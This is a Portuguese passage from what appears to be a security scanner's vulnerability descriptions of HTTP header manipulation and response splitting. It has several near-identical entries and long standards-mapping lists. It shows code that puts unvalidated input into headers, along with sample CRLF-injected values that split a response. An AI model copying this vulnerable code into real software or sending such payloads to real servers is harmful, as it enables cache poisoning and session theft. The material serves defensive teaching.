No entanto, como o valor da localização é formado por entrada de usuário não validada, a resposta só manterá essa forma se o valor enviado para some_location não tiver nenhum caractere CR e LF. Se um invasor enviar uma cadeia de caracteres mal-intencionada, como "index.html\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas da seguinte forma:


HTTP/1.1 200 OK
...
location: index.html

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.php.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


...
-- Assume QUERY_STRING looks like AUTHOR_PARAM=Name
author := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 14);
OWA_UTIL.mime_header('text/html', false);
OWA_COOKE.send('author', author);
OWA_UTIL.http_header_close;
...


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.sql.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: Este segmento de código lê o local a partir de uma solicitação HTTP e o define como o cabeçalho do campo de localização de uma resposta HTTP.


location = req.field('some_location')
...
response.addHeader("location",location)


Supondo que uma cadeia de caracteres que consiste em caracteres alfanuméricos padrão, como "index.html", seja enviada na solicitação, a resposta HTTP, incluindo este cookie, pode ter a seguinte forma:


HTTP/1.1 200 OK
...
location: index.html
...


No entanto, como o valor da localização é formado por entrada de usuário não validada, a resposta só manterá essa forma se o valor enviado para some_location não tiver nenhum caractere CR e LF. Se um invasor enviar uma cadeia de caracteres mal-intencionada, como "index.html\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas da seguinte forma:


HTTP/1.1 200 OK
...
location: index.html

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. No pior dos casos, um invasor pode fornecer conteúdo especialmente concebido a fim de imitar o comportamento do aplicativo, mas, redirecionando informações privadas, como números de conta e senhas para o invasor.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
